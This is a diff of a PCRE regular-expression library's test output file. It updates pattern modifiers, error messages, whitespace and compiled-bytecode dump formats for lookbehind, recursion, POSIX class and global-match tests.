 No match
 
 /(?<=ab(c+)d)ef/
@@ -754,12 +759,8 @@
 Failed: lookbehind assertion is not fixed length at offset 13
 
 /The next three are in testinput2 because they have variable length branches/
-Capturing subpattern count = 0
-No options
-First char = 'T'
-Need char = 's'
 
-/(?<=bullock|donkey)-cart/
+/(?<=bullock|donkey)-cart/I
 Capturing subpattern count = 0
 No options
 First char = '-'
@@ -772,16 +773,16 @@
 No match
     cart
 No match
-    horse-and-cart    
+    horse-and-cart
 No match
-      
-/(?<=ab(?i)x|y|z)/
+
+/(?<=ab(?i)x|y|z)/I
 Capturing subpattern count = 0
 No options
 No first char
 No need char
 
-/(?>.*)(?<=(abcd)|(xyz))/
+/(?>.*)(?<=(abcd)|(xyz))/I
 Capturing subpattern count = 2
 Partial matching not supported
 No options
@@ -795,7 +796,7 @@
  1: <unset>
  2: xyz
 
-/(?<=ab(?i)x(?-i)y|(?i)z|b)ZZ/
+/(?<=ab(?i)x(?-i)y|(?i)z|b)ZZ/I
 Capturing subpattern count = 0
 No options
 First char = 'Z'
@@ -810,56 +811,56 @@
  0: ZZ
     bZZ
  0: ZZ
-    BZZ     
+    BZZ
  0: ZZ
     *** Failers
 No match
-    ZZ 
+    ZZ
 No match
-    abXYZZ 
+    abXYZZ
 No match
     zzz
 No match
-    bzz  
+    bzz
 No match
 
-/(?<!(foo)a)bar/
+/(?<!(foo)a)bar/I
 Capturing subpattern count = 1
 No options
 First char = 'b'
 Need char = 'r'
     bar
  0: bar
-    foobbar 
+    foobbar
  0: bar
     *** Failers
 No match
-    fooabar  
+    fooabar
 No match
 
-/This one is here because Perl 5.005_02 doesn't fail it/
+/This one is here because Perl 5.005_02 doesn't fail it/I
 Capturing subpattern count = 0
 No options
 First char = 'T'
 Need char = 't'
 
-/^(a)?(?(1)a|b)+$/
+/^(a)?(?(1)a|b)+$/I
 Capturing subpattern count = 1
 Options: anchored
 No first char
 No need char
     *** Failers
 No match
-    a 
+    a
 No match
 
-/This one is here because I think Perl 5.005_02 gets the setting of $1 wrong/
+/This one is here because I think Perl 5.005_02 gets the setting of $1 wrong/I
 Capturing subpattern count = 0
 No options
 First char = 'T'
 Need char = 'g'
 
-/^(a\1?){4}$/
+/^(a\1?){4}$/I
 Capturing subpattern count = 1
 Max back reference = 1
 Options: anchored
@@ -868,8 +869,8 @@
     aaaaaa
  0: aaaaaa
  1: aa
-    
-/These are syntax tests from Perl 5.005/
+
+/These are syntax tests from Perl 5.005/I
 Capturing subpattern count = 0
 No options
 First char = 'T'
@@ -911,31 +912,31 @@
 /(a)|\2/
 Failed: reference to non-existent subpattern at offset 6
 
-/a[b-a]/i
+/a[b-a]/Ii
 Failed: range out of order in character class at offset 4
 
-/a[]b/i
+/a[]b/Ii
 Failed: missing terminating ] for character class at offset 4
 
-/a[/i
+/a[/Ii
 Failed: missing terminating ] for character class at offset 2
 
-/*a/i
+/*a/Ii
 Failed: nothing to repeat at offset 0
 
-/(*)b/i
+/(*)b/Ii
 Failed: nothing to repeat at offset 1
 
-/abc)/i
+/abc)/Ii
 Failed: unmatched parentheses at offset 3
 
-/(abc/i
+/(abc/Ii
 Failed: missing ) at offset 4
 
-/a**/i
+/a**/Ii
 Failed: nothing to repeat at offset 2
 
-/)(/i
+/)(/Ii
 Failed: unmatched parentheses at offset 0
 
 /:(?:/
@@ -945,26 +946,23 @@
 Failed: unrecognized character after (?< at offset 3
 
 /a(?{)b/
-Failed: unrecognized character after (? at offset 3
+Failed: unrecognized character after (? or (?- at offset 3
 
 /a(?{{})b/
-Failed: unrecognized character after (? at offset 3
+Failed: unrecognized character after (? or (?- at offset 3
 
 /a(?{}})b/
-Failed: unrecognized character after (? at offset 3
+Failed: unrecognized character after (? or (?- at offset 3
 
 /a(?{"{"})b/
-Failed: unrecognized character after (? at offset 3
+Failed: unrecognized character after (? or (?- at offset 3
 
 /a(?{"{"}})b/
-Failed: unrecognized character after (? at offset 3
+Failed: unrecognized character after (? or (?- at offset 3
 
 /(?(1?)a|b)/
 Failed: malformed number or name after (?( at offset 4
 
-/(?(1)a|b|c)/
-Failed: conditional group contains more than two branches at offset 10
-
 /[a[:xyz:/
 Failed: missing terminating ] for character class at offset 8
 
@@ -983,7 +981,7 @@
 /abc/\i
 Failed: \ at end of pattern at offset 4
 
-/(a)bc(d)/
+/(a)bc(d)/I
 Capturing subpattern count = 2
 No options
 First char = 'a'
@@ -1002,8 +1000,8 @@
  1: a
  2: d
 copy substring 5 failed -7
-     
-/(.{20})/
+
+/(.{20})/I
 Capturing subpattern count = 1
 Partial matching not supported
 No options
@@ -1020,8 +1018,8 @@
  0: abcdefghijklmnopqrst
  1: abcdefghijklmnopqrst
  1G abcdefghijklmnopqrst (20)
-     
-/(.{15})/
+
+/(.{15})/I
 Capturing subpattern count = 1
 Partial matching not supported
 No options
@@ -1036,7 +1034,7 @@
  1C abcdefghijklmno (15)
  1G abcdefghijklmno (15)
 
-/(.{16})/
+/(.{16})/I
 Capturing subpattern count = 1
 Partial matching not supported
 No options
@@ -1052,13 +1050,13 @@
  1G abcdefghijklmnop (16)
  0L abcdefghijklmnop
  1L abcdefghijklmnop
-    
-/^(a|(bc))de(f)/
+
+/^(a|(bc))de(f)/I
 Capturing subpattern count = 3
 Options: anchored
 No first char
 No need char
-    adef\G1\G2\G3\G4\L 
+    adef\G1\G2\G3\G4\L
  0: adef
  1: a
  2: <unset>
@@ -1071,7 +1069,7 @@
  1L a
  2L 
  3L f
-    bcdef\G1\G2\G3\G4\L 
+    bcdef\G1\G2\G3\G4\L
  0: bcdef
  1: bc
  2: bc
@@ -1084,40 +1082,40 @@
  1L bc
  2L bc
  3L f
-    adefghijk\C0 
+    adefghijk\C0
  0: adef
  1: a
  2: <unset>
  3: f
  0C adef (4)
-    
-/^abc\00def/
+
+/^abc\00def/I
 Capturing subpattern count = 0
 Options: anchored
 No first char
 No need char
-    abc\00def\L\C0 
+    abc\00def\L\C0
  0: abc\x00def
  0C abc (7)
  0L abc
-    
-/word ((?:[a-zA-Z0-9]+ )((?:[a-zA-Z0-9]+ )((?:[a-zA-Z0-9]+ )((?:[a-zA-Z0-9]+ 
-)((?:[a-zA-Z0-9]+ )((?:[a-zA-Z0-9]+ )((?:[a-zA-Z0-9]+ )((?:[a-zA-Z0-9]+ 
-)?)?)?)?)?)?)?)?)?otherword/M
-Memory allocation (code space): 432
+
+/word ((?:[a-zA-Z0-9]+ )((?:[a-zA-Z0-9]+ )((?:[a-zA-Z0-9]+ )((?:[a-zA-Z0-9]+
+)((?:[a-zA-Z0-9]+ )((?:[a-zA-Z0-9]+ )((?:[a-zA-Z0-9]+ )((?:[a-zA-Z0-9]+
+)?)?)?)?)?)?)?)?)?otherword/I
 Capturing subpattern count = 8
 Partial matching not supported
+Contains explicit CR or LF match
 No options
 First char = 'w'
 Need char = 'd'
 
-/.*X/D
+/.*X/IDZ
 ------------------------------------------------------------------
-  0   7 Bra 0
-  3     Any*
-  5     X
-  7   7 Ket
- 10     End
+        Bra
+        Any*
+        X
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Partial matching not supported
@@ -1125,13 +1123,13 @@
 First char at start or follows newline
 Need char = 'X'
 
-/.*X/Ds
+/.*X/IDZs
 ------------------------------------------------------------------
-  0   7 Bra 0
-  3     Any*
-  5     X
-  7   7 Ket
- 10     End
+        Bra
+        AllAny*
+        X
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Partial matching not supported
@@ -1139,18 +1137,18 @@
 No first char
 Need char = 'X'
 
-/(.*X|^B)/D
+/(.*X|^B)/IDZ
 ------------------------------------------------------------------
-  0  19 Bra 0
-  3   7 Bra 1
-  6     Any*
-  8     X
- 10   6 Alt
- 13     ^
- 14     B
- 16  13 Ket
- 19  19 Ket
- 22     End
+        Bra
+        CBra 1
+        Any*
+        X
+        Alt
+        ^
+        B
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 1
 Partial matching not supported
@@ -1158,37 +1156,37 @@
 First char at start or follows newline
 No need char
 
-/(.*X|^B)/Ds
+/(.*X|^B)/IDZs
 ------------------------------------------------------------------
-  0  19 Bra 0
-  3   7 Bra 1
-  6     Any*
-  8     X
- 10   6 Alt
- 13     ^
- 14     B
- 16  13 Ket
- 19  19 Ket
- 22     End
+        Bra
+        CBra 1
+        AllAny*
+        X
+        Alt
+        ^
+        B
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 1
 Partial matching not supported
 Options: anchored dotall
 No first char
 No need char
-    
-/(?s)(.*X|^B)/D
+
+/(?s)(.*X|^B)/IDZ
 ------------------------------------------------------------------
-  0  19 Bra 0
-  3   7 Bra 1
-  6     Any*
-  8     X
- 10   6 Alt
- 13     ^
- 14     B
- 16  13 Ket
- 19  19 Ket
- 22     End
+        Bra
+        CBra 1
+        AllAny*
+        X
+        Alt
+        ^
+        B
+        Ket
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 1
 Partial matching not supported
@@ -1196,29 +1194,29 @@
 No first char
 No need char
 
-/(?s:.*X|^B)/D
+/(?s:.*X|^B)/IDZ
 ------------------------------------------------------------------
-  0  25 Bra 0
-  3   9 Bra 0
-  6  04 Opt
-  8     Any*
- 10     X
- 12   8 Alt
- 15  04 Opt
- 17     ^
- 18     B
- 20  17 Ket
- 23  00 Opt
- 25  25 Ket
- 28     End
+        Bra
+        Bra
+     04 Opt
+        AllAny*
+        X
+        Alt
+     04 Opt
+        ^
+        B
+        Ket
+     00 Opt
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Partial matching not supported
-No options
-First char at start or follows newline
+Options: anchored
+No first char
 No need char
 
-/\Biss\B/+
+/\Biss\B/I+
 Capturing subpattern count = 0
 No options
 First char = 'i'
@@ -1227,12 +1225,12 @@
  0: iss
  0+ issippi
 
-/\Biss\B/+P
+/\Biss\B/I+P
     Mississippi
  0: iss
  0+ issippi
 
-/iss/G+
+/iss/IG+
 Capturing subpattern count = 0
 No options
 First char = 'i'
@@ -1243,7 +1241,7 @@
  0: iss
  0+ ippi
 
-/\Biss\B/G+
+/\Biss\B/IG+
 Capturing subpattern count = 0
 No options
 First char = 'i'
@@ -1252,7 +1250,7 @@
  0: iss
  0+ issippi
 
-/\Biss\B/g+
+/\Biss\B/Ig+
 Capturing subpattern count = 0
 No options
 First char = 'i'
@@ -1267,7 +1265,7 @@
     Mississippi\A
 No match
 
-/(?<=[Ms])iss/g+
+/(?<=[Ms])iss/Ig+
 Capturing subpattern count = 0
 No options
 First char = 'i'
@@ -1278,7 +1276,7 @@
  0: iss
  0+ ippi
 
-/(?<=[Ms])iss/G+
+/(?<=[Ms])iss/IG+
 Capturing subpattern count = 0
 No options
 First char = 'i'
@@ -1287,7 +1285,7 @@
  0: iss
  0+ issippi
 
-/^iss/g+
+/^iss/Ig+
 Capturing subpattern count = 0
 Options: anchored
 No first char
@@ -1295,20 +1293,20 @@
     ississippi
  0: iss
  0+ issippi
-    
-/.*iss/g+
+
+/.*iss/Ig+
 Capturing subpattern count = 0
 Partial matching not supported
 No options
 First char at start or follows newline
 Need char = 's'
-    abciss\nxyzisspqr 
+    abciss\nxyzisspqr
  0: abciss
  0+ \x0axyzisspqr
  0: xyziss
  0+ pqr
 
-/.i./+g
+/.i./I+g
 Capturing subpattern count = 0
 No options
 No first char
@@ -1334,11 +1332,11 @@
  0+ river
  0: riv
  0+ er
-    Missouri river\A  
+    Missouri river\A
  0: Mis
  0+ souri river
 
-/^.is/+g
+/^.is/I+g
 Capturing subpattern count = 0
 Options: anchored
 No first char
@@ -1347,8 +1345,9 @@
  0: Mis
  0+ sissippi
 
-/^ab\n/g+
+/^ab\n/Ig+
 Capturing subpattern count = 0
+Contains explicit CR or LF match
 Options: anchored
 No first char
 No need char
@@ -1356,8 +1355,9 @@
  0: ab\x0a
  0+ ab\x0acd
 
-/^ab\n/mg+
+/^ab\n/Img+
 Capturing subpattern count = 0
+Contains explicit CR or LF match
 Options: multiline
 First char at start or follows newline
 Need char = 10
@@ -1367,272 +1367,272 @@
  0: ab\x0a
  0+ cd
 
-/abc/
+/abc/I
 Capturing subpattern count = 0
 No options
 First char = 'a'
 Need char = 'c'
 
-/abc|bac/
+/abc|bac/I
 Capturing subpattern count = 0
 No options
 No first char
 Need char = 'c'
 
-/(abc|bac)/
+/(abc|bac)/I
 Capturing subpattern count = 1
 No options
 No first char
 Need char = 'c'
 
-/(abc|(c|dc))/
+/(abc|(c|dc))/I
 Capturing subpattern count = 2
 No options
 No first char
 Need char = 'c'
 
-/(abc|(d|de)c)/
+/(abc|(d|de)c)/I
 Capturing subpattern count = 2
 No options
 No first char
 Need char = 'c'
 
-/a*/
+/a*/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
 No first char
 No need char
 
-/a+/
+/a+/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
 First char = 'a'
 No need char
 
-/(baa|a+)/
+/(baa|a+)/I
 Capturing subpattern count = 1
 Partial matching not supported
 No options
 No first char
 Need char = 'a'
 
-/a{0,3}/
+/a{0,3}/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
 No first char
 No need char
 
-/baa{3,}/
+/baa{3,}/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
 First char = 'b'
 Need char = 'a'
 
-/"([^\\"]+|\\.)*"/
+/"([^\\"]+|\\.)*"/I
 Capturing subpattern count = 1
 Partial matching not supported
 No options
 First char = '"'
 Need char = '"'
 
-/(abc|ab[cd])/
+/(abc|ab[cd])/I
 Capturing subpattern count = 1
 No options
 First char = 'a'
 No need char
 
-/(a|.)/
+/(a|.)/I
 Capturing subpattern count = 1
 No options
 No first char
 No need char
 
-/a|ba|\w/
+/a|ba|\w/I
 Capturing subpattern count = 0
 No options
 No first char
 No need char
 
-/abc(?=pqr)/
+/abc(?=pqr)/I
 Capturing subpattern count = 0
 No options
 First char = 'a'
 Need char = 'r'
 
-/...(?<=abc)/
+/...(?<=abc)/I
 Capturing subpattern count = 0
 No options
 No first char
 No need char
 
-/abc(?!pqr)/
+/abc(?!pqr)/I
 Capturing subpattern count = 0
 No options
 First char = 'a'
 Need char = 'c'
 
-/ab./
+/ab./I
 Capturing subpattern count = 0
 No options
 First char = 'a'
 Need char = 'b'
 
-/ab[xyz]/
+/ab[xyz]/I
 Capturing subpattern count = 0
 No options
 First char = 'a'
 Need char = 'b'
 
-/abc*/
+/abc*/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
 First char = 'a'
 Need char = 'b'
 
-/ab.c*/
+/ab.c*/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
 First char = 'a'
 Need char = 'b'
 
-/a.c*/
+/a.c*/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
 First char = 'a'
 No need char
 
-/.c*/
+/.c*/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
 No first char
 No need char
 
-/ac*/
+/ac*/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
 First char = 'a'
 No need char
 
-/(a.c*|b.c*)/
+/(a.c*|b.c*)/I
 Capturing subpattern count = 1
 Partial matching not supported
 No options
 No first char
 No need char
 
-/a.c*|aba/
+/a.c*|aba/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
 First char = 'a'
 No need char
 
-/.+a/
+/.+a/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
 No first char
 Need char = 'a'
 
-/(?=abcda)a.*/
+/(?=abcda)a.*/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
 First char = 'a'
 Need char = 'a'
 
-/(?=a)a.*/
+/(?=a)a.*/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
 First char = 'a'
 No need char
 
-/a(b)*/
+/a(b)*/I
 Capturing subpattern count = 1
 No options
 First char = 'a'
 No need char
 
-/a\d*/
+/a\d*/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
 First char = 'a'
 No need char
 
-/ab\d*/
+/ab\d*/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
 First char = 'a'
 Need char = 'b'
 
-/a(\d)*/
+/a(\d)*/I
 Capturing subpattern count = 1
 No options
 First char = 'a'
 No need char
 
-/abcde{0,0}/
+/abcde{0,0}/I
 Capturing subpattern count = 0
 No options
 First char = 'a'
 Need char = 'd'
 
-/ab\d+/
+/ab\d+/I
 Capturing subpattern count = 0
 Partial matching not supported
 No options
 First char = 'a'
 Need char = 'b'
 
-/a(?(1)b)/
-Capturing subpattern count = 0
+/a(?(1)b)(.)/I
+Capturing subpattern count = 1
 No options
 First char = 'a'
 No need char
 
-/a(?(1)bag|big)/
-Capturing subpattern count = 0
+/a(?(1)bag|big)(.)/I
+Capturing subpattern count = 1
 No options
 First char = 'a'
 Need char = 'g'
 
-/a(?(1)bag|big)*/
-Capturing subpattern count = 0
+/a(?(1)bag|big)*(.)/I
+Capturing subpattern count = 1
 No options
 First char = 'a'
 No need char
 
-/a(?(1)bag|big)+/
-Capturing subpattern count = 0
+/a(?(1)bag|big)+(.)/I
+Capturing subpattern count = 1
 No options
 First char = 'a'
 Need char = 'g'
 
-/a(?(1)b..|b..)/
-Capturing subpattern count = 0
+/a(?(1)b..|b..)(.)/I
+Capturing subpattern count = 1
 No options
 First char = 'a'
 Need char = 'b'
 
-/ab\d{0}e/
+/ab\d{0}e/I
 Capturing subpattern count = 0
 No options
 First char = 'a'
 Need char = 'e'
 
-/a?b?/
+/a?b?/I
 Capturing subpattern count = 0
 No options
 No first char
@@ -1647,10 +1647,10 @@
  0: 
     *** Failers
  0: 
-    \N     
+    \N
 No match
-    
-/|-/
+
+/|-/I
 Capturing subpattern count = 0
 No options
 No first char
@@ -1663,10 +1663,10 @@
  0: -
     *** Failers
  0: 
-    \Nabc     
+    \Nabc
 No match
 
-/a*(b+)(z)(z)/P
+/a*(b+)(z)(z)/IP
     aaaabbbbzzzz
  0: aaaabbbbzz
  1: bbbb
@@ -1692,8 +1692,8 @@
  1: bbbb
  2: z
  3: z
-    
-/^.?abcd/S 
+
+/^.?abcd/IS
 Capturing subpattern count = 0
 Options: anchored
 No first char
@@ -1707,7 +1707,7 @@
   (?R)          # Recurse - i.e. nested bracketed string
   )*            # Zero or more contents
   \)            # Closing )
-  /x
+  /Ix
 Capturing subpattern count = 0
 Partial matching not supported
 Options: extended
@@ -1719,30 +1719,30 @@
  0: (abcd)
     xyz(abcd)
  0: (abcd)
-    (ab(xy)cd)pqr 
+    (ab(xy)cd)pqr
  0: (ab(xy)cd)
-    (ab(xycd)pqr 
+    (ab(xycd)pqr
  0: (xycd)
-    () abc () 
+    () abc ()
  0: ()
     12(abcde(fsh)xyz(foo(bar))lmno)89
  0: (abcde(fsh)xyz(foo(bar))lmno)
     *** Failers
 No match
-    abcd 
+    abcd
 No match
     abcd)
 No match
-    (abcd  
+    (abcd
 No match
 
-/\(  ( (?>[^()]+) | (?R) )* \) /xg
+/\(  ( (?>[^()]+) | (?R) )* \) /Ixg
 Capturing subpattern count = 1
 Partial matching not supported
 Options: extended
 First char = '('
 Need char = ')'
-    (ab(xy)cd)pqr 
+    (ab(xy)cd)pqr
  0: (ab(xy)cd)
  1: cd
     1(abcd)(x(y)z)pqr
@@ -1751,7 +1751,7 @@
  0: (x(y)z)
  1: z
 
-/\(  (?: (?>[^()]+) | (?R) ) \) /x
+/\(  (?: (?>[^()]+) | (?R) ) \) /Ix
 Capturing subpattern count = 0
 Partial matching not supported
 Options: extended
@@ -1761,16 +1761,16 @@
  0: (abcd)
     (ab(xy)cd)
  0: (xy)
-    (a(b(c)d)e) 
+    (a(b(c)d)e)
  0: (c)
-    ((ab)) 
+    ((ab))
  0: ((ab))
     *** Failers
 No match
-    ()   
+    ()
 No match
 
-/\(  (?: (?>[^()]+) | (?R) )? \) /x
+/\(  (?: (?>[^()]+) | (?R) )? \) /Ix
 Capturing subpattern count = 0
 Partial matching not supported
 Options: extended
@@ -1781,7 +1781,7 @@
     12(abcde(fsh)xyz(foo(bar))lmno)89
  0: (fsh)
 
-/\(  ( (?>[^()]+) | (?R) )* \) /x
+/\(  ( (?>[^()]+) | (?R) )* \) /Ix
 Capturing subpattern count = 1
 Partial matching not supported
 Options: extended
@@ -1791,7 +1791,7 @@
  0: (ab(xy)cd)
  1: cd
 
-/\( ( ( (?>[^()]+) | (?R) )* ) \) /x
+/\( ( ( (?>[^()]+) | (?R) )* ) \) /Ix
 Capturing subpattern count = 2
 Partial matching not supported
 Options: extended
@@ -1802,7 +1802,7 @@
  1: ab(xy)cd
  2: cd
 
-/\( (123)? ( ( (?>[^()]+) | (?R) )* ) \) /x
+/\( (123)? ( ( (?>[^()]+) | (?R) )* ) \) /Ix
 Capturing subpattern count = 3
 Partial matching not supported
 Options: extended
@@ -1819,7 +1819,7 @@
  2: ab(xy)cd
  3: cd
 
-/\( ( (123)? ( (?>[^()]+) | (?R) )* ) \) /x
+/\( ( (123)? ( (?>[^()]+) | (?R) )* ) \) /Ix
 Capturing subpattern count = 3
 Partial matching not supported
 Options: extended
@@ -1836,7 +1836,7 @@
  2: 123
  3: cd
 
-/\( (((((((((( ( (?>[^()]+) | (?R) )* )))))))))) \) /x
+/\( (((((((((( ( (?>[^()]+) | (?R) )* )))))))))) \) /Ix
 Capturing subpattern count = 11
 Partial matching not supported
 Options: extended
@@ -1856,7 +1856,7 @@
 10: ab(xy)cd
 11: cd
 
-/\( ( ( (?>[^()<>]+) | ((?>[^()]+)) | (?R) )* ) \) /x
+/\( ( ( (?>[^()<>]+) | ((?>[^()]+)) | (?R) )* ) \) /Ix
 Capturing subpattern count = 3
 Partial matching not supported
 Options: extended
@@ -1868,7 +1868,7 @@
  2: 123
  3: <unset>
 
-/\( ( ( (?>[^()]+) | ((?R)) )* ) \) /x
+/\( ( ( (?>[^()]+) | ((?R)) )* ) \) /Ix
 Capturing subpattern count = 3
 Partial matching not supported
 Options: extended
@@ -1885,58 +1885,58 @@
  2: ij
  3: (cd(ef)gh)
 
-/^[[:alnum:]]/D
+/^[[:alnum:]]/DZ
 ------------------------------------------------------------------
-  0  37 Bra 0
-  3     ^
-  4     [0-9A-Za-z]
- 37  37 Ket
- 40     End
+        Bra
+        ^
+        [0-9A-Za-z]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: anchored
 No first char
 No need char
 
-/^[[:^alnum:]]/D
+/^[[:^alnum:]]/DZ
 ------------------------------------------------------------------
-  0  37 Bra 0
-  3     ^
-  4     [\x00-/:-@[-`{-\xff]
- 37  37 Ket
- 40     End
+        Bra
+        ^
+        [\x00-/:-@[-`{-\xff] (neg)
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: anchored
 No first char
 No need char
 
-/^[[:alpha:]]/D
+/^[[:alpha:]]/DZ
 ------------------------------------------------------------------
-  0  37 Bra 0
-  3     ^
-  4     [A-Za-z]
- 37  37 Ket
- 40     End
+        Bra
+        ^
+        [A-Za-z]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: anchored
 No first char
 No need char
 
-/^[[:^alpha:]]/D
+/^[[:^alpha:]]/DZ
 ------------------------------------------------------------------
-  0  37 Bra 0
-  3     ^
-  4     [\x00-@[-`{-\xff]
- 37  37 Ket
- 40     End
+        Bra
+        ^
+        [\x00-@[-`{-\xff] (neg)
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: anchored
 No first char
 No need char
-             
+
 /[_[:alpha:]]/IS
 Capturing subpattern count = 0
 No options
@@ -1945,52 +1945,52 @@
 Starting byte set: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 
   _ a b c d e f g h i j k l m n o p q r s t u v w x y z 
 
-/^[[:ascii:]]/D
+/^[[:ascii:]]/DZ
 ------------------------------------------------------------------
-  0  37 Bra 0
-  3     ^
-  4     [\x00-\x7f]
- 37  37 Ket
- 40     End
+        Bra
+        ^
+        [\x00-\x7f]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: anchored
 No first char
 No need char
 
-/^[[:^ascii:]]/D
+/^[[:^ascii:]]/DZ
 ------------------------------------------------------------------
-  0  37 Bra 0
-  3     ^
-  4     [\x80-\xff]
- 37  37 Ket
- 40     End
+        Bra
+        ^
+        [\x80-\xff] (neg)
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: anchored
 No first char
 No need char
 
-/^[[:blank:]]/D
+/^[[:blank:]]/DZ
 ------------------------------------------------------------------
-  0  37 Bra 0
-  3     ^
-  4     [\x09 ]
- 37  37 Ket
- 40     End
+        Bra
+        ^
+        [\x09 ]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: anchored
 No first char
 No need char
 
-/^[[:^blank:]]/D
+/^[[:^blank:]]/DZ
 ------------------------------------------------------------------
-  0  37 Bra 0
-  3     ^
-  4     [\x00-\x08\x0a-\x1f!-\xff]
- 37  37 Ket
- 40     End
+        Bra
+        ^
+        [\x00-\x08\x0a-\x1f!-\xff] (neg)
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: anchored
@@ -1999,222 +1999,223 @@
 
 /[\n\x0b\x0c\x0d[:blank:]]/IS
 Capturing subpattern count = 0
+Contains explicit CR or LF match
 No options
 No first char
 No need char
 Starting byte set: \x09 \x0a \x0b \x0c \x0d \x20 
 
-/^[[:cntrl:]]/D
+/^[[:cntrl:]]/DZ
 ------------------------------------------------------------------
-  0  37 Bra 0
-  3     ^
-  4     [\x00-\x1f\x7f]
- 37  37 Ket
- 40     End
+        Bra
+        ^
+        [\x00-\x1f\x7f]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: anchored
 No first char
 No need char
 
-/^[[:digit:]]/D
+/^[[:digit:]]/DZ
 ------------------------------------------------------------------
-  0  37 Bra 0
-  3     ^
-  4     [0-9]
- 37  37 Ket
- 40     End
+        Bra
+        ^
+        [0-9]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: anchored
 No first char
 No need char
 
-/^[[:graph:]]/D
+/^[[:graph:]]/DZ
 ------------------------------------------------------------------
-  0  37 Bra 0
-  3     ^
-  4     [!-~]
- 37  37 Ket
- 40     End
+        Bra
+        ^
+        [!-~]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: anchored
 No first char
 No need char
 
-/^[[:lower:]]/D
+/^[[:lower:]]/DZ
 ------------------------------------------------------------------
-  0  37 Bra 0
-  3     ^
-  4     [a-z]
- 37  37 Ket
- 40     End
+        Bra
+        ^
+        [a-z]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: anchored
 No first char
 No need char
 
-/^[[:print:]]/D
+/^[[:print:]]/DZ
 ------------------------------------------------------------------
-  0  37 Bra 0
-  3     ^
-  4     [ -~]
- 37  37 Ket
- 40     End
+        Bra
+        ^
+        [ -~]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: anchored
 No first char
 No need char
 
-/^[[:punct:]]/D
+/^[[:punct:]]/DZ
 ------------------------------------------------------------------
-  0  37 Bra 0
-  3     ^
-  4     [!-/:-@[-`{-~]
- 37  37 Ket
- 40     End
+        Bra
+        ^
+        [!-/:-@[-`{-~]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: anchored
 No first char
 No need char
 
-/^[[:space:]]/D
+/^[[:space:]]/DZ
 ------------------------------------------------------------------
-  0  37 Bra 0
-  3     ^
-  4     [\x09-\x0d ]
- 37  37 Ket
- 40     End
+        Bra
+        ^
+        [\x09-\x0d ]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: anchored
 No first char
 No need char
 
-/^[[:upper:]]/D
+/^[[:upper:]]/DZ
 ------------------------------------------------------------------
-  0  37 Bra 0
-  3     ^
-  4     [A-Z]
- 37  37 Ket
- 40     End
+        Bra
+        ^
+        [A-Z]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: anchored
 No first char
 No need char
 
-/^[[:xdigit:]]/D
+/^[[:xdigit:]]/DZ
 ------------------------------------------------------------------
-  0  37 Bra 0
-  3     ^
-  4     [0-9A-Fa-f]
- 37  37 Ket
- 40     End
+        Bra
+        ^
+        [0-9A-Fa-f]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: anchored
 No first char
 No need char
 
-/^[[:word:]]/D
+/^[[:word:]]/DZ
 ------------------------------------------------------------------
-  0  37 Bra 0
-  3     ^
-  4     [0-9A-Z_a-z]
- 37  37 Ket
- 40     End
+        Bra
+        ^
+        [0-9A-Z_a-z]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: anchored
 No first char
 No need char
 
-/^[[:^cntrl:]]/D
+/^[[:^cntrl:]]/DZ
 ------------------------------------------------------------------
-  0  37 Bra 0
-  3     ^
-  4     [ -~\x80-\xff]
- 37  37 Ket
- 40     End
+        Bra
+        ^
+        [ -~\x80-\xff] (neg)
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: anchored
 No first char
 No need char
 
-/^[12[:^digit:]]/D
+/^[12[:^digit:]]/DZ
 ------------------------------------------------------------------
-  0  37 Bra 0
-  3     ^
-  4     [\x00-/12:-\xff]
- 37  37 Ket
- 40     End
+        Bra
+        ^
+        [\x00-/12:-\xff] (neg)
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: anchored
 No first char
 No need char
 
-/^[[:^blank:]]/D
+/^[[:^blank:]]/DZ
 ------------------------------------------------------------------
